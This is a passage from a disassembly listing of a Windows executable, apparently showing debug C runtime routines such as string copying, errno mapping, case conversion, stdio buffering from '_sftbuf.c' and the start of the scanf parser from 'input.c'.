[ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_8], 0 jnz short loc_42994A mov ecx, [ebp+arg_0] mov byte ptr [ecx-1], 0 jmp short loc_4299B3 ; --------------------------------------------------------------------------- loc_42994A: ; CODE XREF: sub_4298C0+7Fj mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test ecx, ecx jnz short loc_429983 mov ecx, [ebp+arg_0] mov byte ptr [ecx-2], 0 jmp short loc_4299B3 ; --------------------------------------------------------------------------- loc_429983: ; CODE XREF: sub_4298C0+B8j jmp short loc_4299AE ; --------------------------------------------------------------------------- loc_429985: ; CODE XREF: sub_4298C0+5Dj mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx test eax, eax jnz short loc_4299AE jmp short loc_4299B3 ; --------------------------------------------------------------------------- loc_4299AE: ; CODE XREF: sub_4298C0:loc_429983j ; sub_4298C0+EAj jmp loc_4298F6 ; --------------------------------------------------------------------------- loc_4299B3: ; CODE XREF: sub_4298C0+3Aj ; sub_4298C0+88j ... mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_4299D4 mov edx, [ebp+arg_0] mov byte ptr [edx], 0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_4299B3 ; --------------------------------------------------------------------------- loc_4299D4: ; CODE XREF: sub_4298C0+101j push 19h call sub_423320 add esp, 4 mov eax, [ebp+var_4] loc_4299E1: ; CODE XREF: sub_4298C0+27j mov esp, ebp pop ebp retn sub_4298C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4299F0 proc near ; CODE XREF: sub_41F470+2Ep ; sub_421420+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_429AA0 mov ecx, [ebp+arg_0] mov [eax], ecx mov [ebp+var_4], 0 jmp short loc_429A10 ; --------------------------------------------------------------------------- loc_429A07: ; CODE XREF: sub_4299F0:loc_429A38j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_429A10: ; CODE XREF: sub_4299F0+15j cmp [ebp+var_4], 2Dh jnb short loc_429A3A mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp ecx, ds:dword_453F00[eax*8] jnz short loc_429A38 call sub_429A90 mov edx, [ebp+var_4] mov ecx, ds:dword_453F04[edx*8] mov [eax], ecx jmp short loc_429A7D ; --------------------------------------------------------------------------- loc_429A38: ; CODE XREF: sub_4299F0+33j jmp short loc_429A07 ; --------------------------------------------------------------------------- loc_429A3A: ; CODE XREF: sub_4299F0+24j cmp [ebp+arg_0], 13h jb short loc_429A53 cmp [ebp+arg_0], 24h ja short loc_429A53 call sub_429A90 mov dword ptr [eax], 0Dh jmp short loc_429A7D ; --------------------------------------------------------------------------- loc_429A53: ; CODE XREF: sub_4299F0+4Ej ; sub_4299F0+54j cmp [ebp+arg_0], 0BCh jb short loc_429A72 cmp [ebp+arg_0], 0CAh ja short loc_429A72 call sub_429A90 mov dword ptr [eax], 8 jmp short loc_429A7D ; --------------------------------------------------------------------------- loc_429A72: ; CODE XREF: sub_4299F0+6Aj ; sub_4299F0+73j call sub_429A90 mov dword ptr [eax], 16h loc_429A7D: ; CODE XREF: sub_4299F0+46j ; sub_4299F0+61j ... mov esp, ebp pop ebp retn sub_4299F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A90 proc near ; CODE XREF: sub_41F110:loc_41F3E2p ; sub_421050:loc_4210ABp ... push ebp mov ebp, esp call sub_428EE0 add eax, 8 pop ebp retn sub_429A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429AA0 proc near ; CODE XREF: sub_421420+4Ap ; sub_422CB0+3Cp ... push ebp mov ebp, esp call sub_428EE0 add eax, 0Ch pop ebp retn sub_429AA0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] sub eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429AC0 proc near ; CODE XREF: sub_41F110+201p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_4F33F8, 0 jnz short loc_429AE7 cmp [ebp+arg_0], 61h jl short loc_429AE2 cmp [ebp+arg_0], 7Ah jg short loc_429AE2 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_429AE2: ; CODE XREF: sub_429AC0+11j ; sub_429AC0+17j mov eax, [ebp+arg_0] jmp short loc_429B4F ; --------------------------------------------------------------------------- loc_429AE7: ; CODE XREF: sub_429AC0+Bj push offset dword_4F37C8 call ds:dword_4F5488 ; InterlockedIncrement cmp ds:dword_4F37C4, 0 jz short loc_429B19 push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call sub_423280 add esp, 4 mov [ebp+var_4], 1 jmp short loc_429B20 ; --------------------------------------------------------------------------- loc_429B19: ; CODE XREF: sub_429AC0+39j mov [ebp+var_4], 0 loc_429B20: ; CODE XREF: sub_429AC0+57j mov ecx, [ebp+arg_0] push ecx call sub_429B60 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_429B41 push 13h call sub_423320 add esp, 4 jmp short loc_429B4C ; --------------------------------------------------------------------------- loc_429B41: ; CODE XREF: sub_429AC0+73j push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_429B4C: ; CODE XREF: sub_429AC0+7Fj mov eax, [ebp+arg_0] loc_429B4F: ; CODE XREF: sub_429AC0+25j mov esp, ebp pop ebp retn sub_429AC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429B60 proc near ; CODE XREF: sub_429AC0+64p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp ds:dword_4F33F8, 0 jnz short loc_429B8C cmp [ebp+arg_0], 61h jl short loc_429B84 cmp [ebp+arg_0], 7Ah jg short loc_429B84 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_429B84: ; CODE XREF: sub_429B60+13j ; sub_429B60+19j mov eax, [ebp+arg_0] jmp loc_429C87 ; --------------------------------------------------------------------------- loc_429B8C: ; CODE XREF: sub_429B60+Dj cmp [ebp+arg_0], 100h jge short loc_429BD3 cmp ds:dword_453DF0, 1 jle short loc_429BB1 push 2 mov ecx, [ebp+arg_0] push ecx call sub_427040 add esp, 8 mov [ebp+var_10], eax jmp short loc_429BC5 ; --------------------------------------------------------------------------- loc_429BB1: ; CODE XREF: sub_429B60+3Cj mov edx, [ebp+arg_0] mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 2 mov [ebp+var_10], ecx loc_429BC5: ; CODE XREF: sub_429B60+4Fj cmp [ebp+var_10], 0 jnz short loc_429BD3 mov eax, [ebp+arg_0] jmp loc_429C87 ; --------------------------------------------------------------------------- loc_429BD3: ; CODE XREF: sub_429B60+33j ; sub_429B60+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_429C1C mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_429C2D ; --------------------------------------------------------------------------- loc_429C1C: ; CODE XREF: sub_429B60+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_429C2D: ; CODE XREF: sub_429B60+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 200h mov edx, ds:dword_4F33F8 push edx call sub_42EC50 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_429C61 mov eax, [ebp+arg_0] jmp short loc_429C87 ; --------------------------------------------------------------------------- loc_429C61: ; CODE XREF: sub_429B60+FAj cmp [ebp+var_4], 1 jnz short loc_429C71 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_429C87 ; --------------------------------------------------------------------------- loc_429C71: ; CODE XREF: sub_429B60+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_429C87: ; CODE XREF: sub_429B60+27j ; sub_429B60+6Ej ... mov esp, ebp pop ebp retn sub_429B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429C90 proc near ; CODE XREF: sub_41F4E0+79p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_429C99: ; CODE XREF: sub_429C90+31j cmp [ebp+arg_0], 0 jnz short loc_429CBD push offset dword_43C514 push 0 push 41h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_429CBD int 3 ; Trap to Debugger loc_429CBD: ; CODE XREF: sub_429C90+Dj ; sub_429C90+2Aj xor eax, eax test eax, eax jnz short loc_429C99 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+10h] push eax call sub_431A40 add esp, 4 test eax, eax jnz short loc_429CE3 xor eax, eax jmp loc_429DE0 ; --------------------------------------------------------------------------- loc_429CE3: ; CODE XREF: sub_429C90+4Aj cmp [ebp+var_4], offset dword_451868 jnz short loc_429CF5 mov [ebp+var_8], 0 jmp short loc_429D0E ; --------------------------------------------------------------------------- loc_429CF5: ; CODE XREF: sub_429C90+5Aj cmp [ebp+var_4], offset dword_451888 jnz short loc_429D07 mov [ebp+var_8], 1 jmp short loc_429D0E ; --------------------------------------------------------------------------- loc_429D07: ; CODE XREF: sub_429C90+6Cj xor eax, eax jmp loc_429DE0 ; --------------------------------------------------------------------------- loc_429D0E: ; CODE XREF: sub_429C90+63j ; sub_429C90+75j mov ecx, ds:dword_4F336C add ecx, 1 mov ds:dword_4F336C, ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jz short loc_429D33 xor eax, eax jmp loc_429DE0 ; --------------------------------------------------------------------------- loc_429D33: ; CODE XREF: sub_429C90+9Aj mov ecx, [ebp+var_8] cmp ds:dword_4F33E8[ecx*4], 0 jnz short loc_429D9A push 5Eh push offset a_sftbuf_c ; "_sftbuf.c" push 2 push 1000h call sub_41BE70 add esp, 10h mov edx, [ebp+var_8] mov ds:dword_4F33E8[edx*4], eax mov eax, [ebp+var_8] cmp ds:dword_4F33E8[eax*4], 0 jnz short loc_429D9A mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 2 jmp short loc_429DC9 ; --------------------------------------------------------------------------- loc_429D9A: ; CODE XREF: sub_429C90+AEj ; sub_429C90+DBj mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ecx, ds:dword_4F33E8[eax*4] mov [edx+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h mov eax, [ebp+var_4] mov dword ptr [eax+4], 1000h loc_429DC9: ; CODE XREF: sub_429C90+108j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 1102h mov eax, [ebp+var_4] mov [eax+0Ch], edx mov eax, 1 loc_429DE0: ; CODE XREF: sub_429C90+4Ej ; sub_429C90+79j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429C90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429DF0 proc near ; CODE XREF: sub_41F4E0+A3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_429DF7: ; CODE XREF: sub_429DF0+38j cmp [ebp+arg_0], 0 jz short loc_429E24 cmp [ebp+arg_0], 1 jz short loc_429E24 push offset aFlag0Flag1 ; "flag == 0 || flag == 1" push 0 push 0A1h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_429E24 int 3 ; Trap to Debugger loc_429E24: ; CODE XREF: sub_429DF0+Bj ; sub_429DF0+11j ... xor eax, eax test eax, eax jnz short loc_429DF7 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0 jz short loc_429E7D mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1000h test eax, eax jz short loc_429E7D mov ecx, [ebp+var_4] push ecx call sub_422F20 add esp, 4 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and ah, 0EEh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov dword ptr [edx+18h], 0 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0 loc_429E7D: ; CODE XREF: sub_429DF0+44j ; sub_429DF0+53j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429DF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429E90 proc near ; CODE XREF: sub_41FF30+A2p var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = byte ptr -1F0h var_1EF = byte ptr -1EFh var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = byte ptr -1D0h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_55 = byte ptr -55h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 224h push ebx push esi push edi loc_429E9C: ; CODE XREF: sub_429E90+37j cmp [ebp+arg_4], 0 jnz short loc_429EC3 push offset aFormatNull ; "format != NULL" push 0 push 109h push offset aInput_c ; "input.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_429EC3 int 3 ; Trap to Debugger loc_429EC3: ; CODE XREF: sub_429E90+10j ; sub_429E90+30j xor eax, eax test eax, eax jnz short loc_429E9C loc_429EC9: ; CODE XREF: sub_429E90+64j cmp [ebp+arg_0], 0 jnz short loc_429EF0 push offset dword_43C504 push 0 push 10Ch push offset aInput_c ; "input.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_429EF0 int 3 ; Trap to Debugger loc_429EF0: ; CODE XREF: sub_429E90+3Dj ; sub_429E90+5Dj xor ecx, ecx test ecx, ecx jnz short loc_429EC9 mov [ebp+var_28], 0 movsx edx, [ebp+var_28] mov [ebp+var_20], edx mov eax, [ebp+var_20] mov [ebp+var_34], eax loc_429F07: ; CODE XREF: sub_429E90:loc_42B175j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] test edx, edx jz loc_42B17A cmp ds:dword_453DF0, 1 jle short loc_429F39 push 8 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] push ecx call sub_427040 add esp, 8 mov [ebp+var_1F8], eax jmp short loc_429F55 ; --------------------------------------------------------------------------- loc_429F39: ; CODE XREF: sub_429E90+8Dj mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_1F8], edx loc_429F55: ; CODE XREF: sub_429E90+A7j cmp [ebp+var_1F8], 0 jz short loc_429FA3 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_20] push eax call sub_42B350 add esp, 8 push eax call sub_42B330 add esp, 8 loc_429F84: ; CODE XREF: sub_429E90+111j mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] push eax call sub_421940 add esp, 4 test eax, eax jz short loc_429FA3 jmp short loc_429F84 ; --------------------------------------------------------------------------- loc_429FA3: ; CODE XREF: sub_429E90+CCj ; sub_429E90+10Fj mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz loc_42B05E mov [ebp+var_40], 0 mov byte ptr [ebp+var_8], 0 mov [ebp+var_6C], 0 mov eax, [ebp+var_6C] mov [ebp+var_1E8], eax mov ecx, [ebp+var_1E8] mov [ebp+var_1C], ecx mov [ebp+var_10], 0 mov dl, [ebp+var_10] mov [ebp+var_68], dl mov al, [ebp+var_68] mov [ebp+var_70], al mov cl, [ebp+var_70] mov [ebp+var_18], cl mov dl, [ebp+var_18] mov [ebp+var_64], dl mov [ebp+var_14], 0 mov [ebp+var_38], 1 mov [ebp+var_1DC], 0 loc_42A005: ; CODE XREF: sub_429E90:loc_42A15Dj movsx eax, [ebp+var_18] test eax, eax jnz loc_42A162 mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov [ebp+var_C], eax cmp ds:dword_453DF0, 1 jle short loc_42A049 push 4 mov ecx, [ebp+var_C] and ecx, 0FFh push ecx call sub_427040 add esp, 8 mov [ebp+var_1FC], eax jmp short loc_42A066 ; --------------------------------------------------------------------------- loc_42A049: ; CODE XREF: sub_429E90+19Bj mov edx, [ebp+var_C] and edx, 0FFh mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_1FC], ecx loc_42A066: ; CODE XREF: sub_429E90+1B7j cmp [ebp+var_1FC], 0 jz short loc_42A096 mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*4] mov eax, [ebp+var_C] lea ecx, [eax+edx*2-30h] mov [ebp+var_1C], ecx jmp loc_42A15D ; --------------------------------------------------------------------------- loc_42A096: ; CODE XREF: sub_429E90+1DDj mov edx, [ebp+var_C] mov [ebp+var_200], edx mov eax, [ebp+var_200] sub eax, 2Ah mov [ebp+var_200], eax cmp [ebp+var_200], 4Dh ja loc_42A155 mov edx, [ebp+var_200] xor ecx, ecx mov cl, byte_42B1D8[edx] jmp off_42B1B8[ecx*4] loc_42A0D0: ; DATA XREF: _0:0042B1BCo jmp loc_42A15D ; --------------------------------------------------------------------------- loc_42A0D5: ; CODE XREF: sub_429E90+239j ; DATA XREF: _0:0042B1C8o mov al, [ebp+var_38] sub al, 1 mov [ebp+var_38], al mov cl, [ebp+var_14] sub cl, 1 mov [ebp+var_14], cl jmp short loc_42A15D ; --------------------------------------------------------------------------- loc_42A0E8: ; CODE XREF: sub_429E90+239j ; DATA XREF: _0:0042B1C0o mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+1] cmp eax, 36h jnz short loc_42A12A mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] cmp edx, 34h jnz short loc_42A12A mov eax, [ebp+arg_4] add eax, 2 mov [ebp+arg_4], eax mov ecx, [ebp+var_1DC] add ecx, 1 mov [ebp+var_1DC], ecx mov [ebp+var_30], 0 mov [ebp+var_2C], 0 jmp short loc_42A15D ; --------------------------------------------------------------------------- loc_42A12A: ; CODE XREF: sub_429E90+263j ; sub_429E90+270j jmp short loc_42A155 ; --------------------------------------------------------------------------- loc_42A12C: ; CODE XREF: sub_429E90+239j ; DATA XREF: _0:0042B1C4o mov dl, [ebp+var_38] add dl, 1 mov [ebp+var_38], dl jmp short loc_42A15D ; --------------------------------------------------------------------------- loc_42A137: ; CODE XREF: sub_429E90+239j ; DATA XREF: _0:0042B1CCo mov al, [ebp+var_38] add al, 1 mov [ebp+var_38], al loc_42A13F: ; CODE XREF: sub_429E90+239j ; DATA XREF: _0:0042B1D0o mov cl, [ebp+var_14] add cl, 1 mov [ebp+var_14], cl jmp short loc_42A15D ; --------------------------------------------------------------------------- loc_42A14A: ; CODE XREF: sub_429E90+239j ; DATA XREF: _0:off_42B1B8o mov dl, [ebp+var_70] add dl, 1 mov [ebp+var_70], dl jmp short loc_42A15D ; --------------------------------------------------------------------------- loc_42A155: ; CODE XREF: sub_429E90+225j ; sub_429E90+239j ... mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42A15D: ; CODE XREF: sub_429E90+201j ; sub_429E90:loc_42A0D0j ... jmp loc_42A005 ; --------------------------------------------------------------------------- loc_42A162: ; CODE XREF: sub_429E90+17Bj movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_42A185 mov edx, [ebp+arg_8] mov [ebp+var_1D4], edx mov eax, [ebp+arg_8] add eax, 4 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] mov edx, [ecx-4] mov [ebp+var_3C], edx loc_42A185: ; CODE XREF: sub_429E90+2D8j mov [ebp+var_18], 0 movsx eax, [ebp+var_14] test eax, eax jnz short loc_42A1BC mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 53h jz short loc_42A1A9 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] cmp ecx, 43h jnz short loc_42A1B4 loc_42A1A9: ; CODE XREF: sub_429E90+30Bj mov dl, [ebp+var_14] add dl, 1 mov [ebp+var_14], dl jmp short loc_42A1BC ; --------------------------------------------------------------------------- loc_42A1B4: ; CODE XREF: sub_429E90+317j mov al, [ebp+var_14] sub al, 1 mov [ebp+var_14], al loc_42A1BC: ; CODE XREF: sub_429E90+2FFj ; sub_429E90+322j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] or edx, 20h mov [ebp+var_C], edx cmp [ebp+var_C], 6Eh jz short loc_42A20E cmp [ebp+var_C], 63h jz short loc_42A1F3 cmp [ebp+var_C], 7Bh jz short loc_42A1F3 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_20] push ecx call sub_42B350 add esp, 8 mov [ebp+var_1D8], eax jmp short loc_42A20E ; --------------------------------------------------------------------------- loc_42A1F3: ; CODE XREF: sub_429E90+343j ; sub_429E90+349j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax loc_42A20E: ; CODE XREF: sub_429E90+33Dj ; sub_429E90+361j cmp [ebp+var_1E8], 0 jz short loc_42A221 cmp [ebp+var_1C], 0 jz loc_42B02F loc_42A221: ; CODE XREF: sub_429E90+385j mov ecx, [ebp+var_C] mov [ebp+var_204], ecx mov edx, [ebp+var_204] sub edx, 63h mov [ebp+var_204], edx cmp [ebp+var_204], 18h ja loc_42AFDA mov ecx, [ebp+var_204] xor eax, eax mov al, byte_42B24E[ecx] jmp off_42B226[eax*4] loc_42A25B: ; DATA XREF: _0:off_42B226o cmp [ebp+var_1E8], 0 jnz short loc_42A27C mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_42A27C: ; CODE XREF: sub_429E90+3D2j movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_42A28D mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_42A28D: ; CODE XREF: sub_429E90+3F2j mov [ebp+var_1E0], offset dword_454070 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_42A310 ; --------------------------------------------------------------------------- loc_42A2A1: ; CODE XREF: sub_429E90+3C4j ; DATA XREF: _0:0042B23Eo movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_42A2B2 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_42A2B2: ; CODE XREF: sub_429E90+417j mov [ebp+var_1E0], offset dword_454068 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_42A310 ; --------------------------------------------------------------------------- loc_42A2C6: ; CODE XREF: sub_429E90+3C4j ; DATA XREF: _0:0042B246o movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_42A2D7 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_42A2D7: ; CODE XREF: sub_429E90+43Cj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_1E0], ecx mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Eh jnz short loc_42A310 mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov dl, [ebp+var_10] sub dl, 1 mov [ebp+var_10], dl loc_42A310: ; CODE XREF: sub_429E90+40Fj ; sub_429E90+434j ... push 20h push 0 lea eax, [ebp+var_60] push eax call sub_41E4B0 add esp, 0Ch cmp [ebp+var_C], 7Bh jnz short loc_42A34C mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jnz short loc_42A34C mov byte ptr [ebp+var_8], 5Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax mov [ebp+var_55], 20h loc_42A34C: ; CODE XREF: sub_429E90+494j ; sub_429E90+4A3j ... mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jz loc_42A4B7 mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_1EC] and eax, 0FFh cmp eax, 2Dh jnz short loc_42A3A8 mov ecx, [ebp+var_8] and ecx, 0FFh test ecx, ecx jz short loc_42A3A8 mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Dh jnz short loc_42A3EE loc_42A3A8: ; CODE XREF: sub_429E90+4FAj ; sub_429E90+507j mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_60] or cl, al mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov [ebp+edx+var_60], cl jmp loc_42A4B2 ; --------------------------------------------------------------------------- loc_42A3EE: ; CODE XREF: sub_429E90+516j mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_8] and eax, 0FFh mov ecx, [ebp+var_1EC] and ecx, 0FFh cmp eax, ecx jge short loc_42A42E mov dl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_24], dl jmp short loc_42A43D ; --------------------------------------------------------------------------- loc_42A42E: ; CODE XREF: sub_429E90+591j mov al, byte ptr [ebp+var_8] mov byte ptr [ebp+var_24], al mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl loc_42A43D: ; CODE XREF: sub_429E90+59Cj mov dl, byte ptr [ebp+var_8] mov byte ptr [ebp+var_1EC], dl jmp short loc_42A456 ; --------------------------------------------------------------------------- loc_42A448: ; CODE XREF: sub_429E90+61Cj mov al, byte ptr [ebp+var_1EC] add al, 1 mov byte ptr [ebp+var_1EC], al loc_42A456: ; CODE XREF: sub_429E90+5B6j mov ecx, [ebp+var_1EC] and ecx, 0FFh mov edx, [ebp+var_24] and edx, 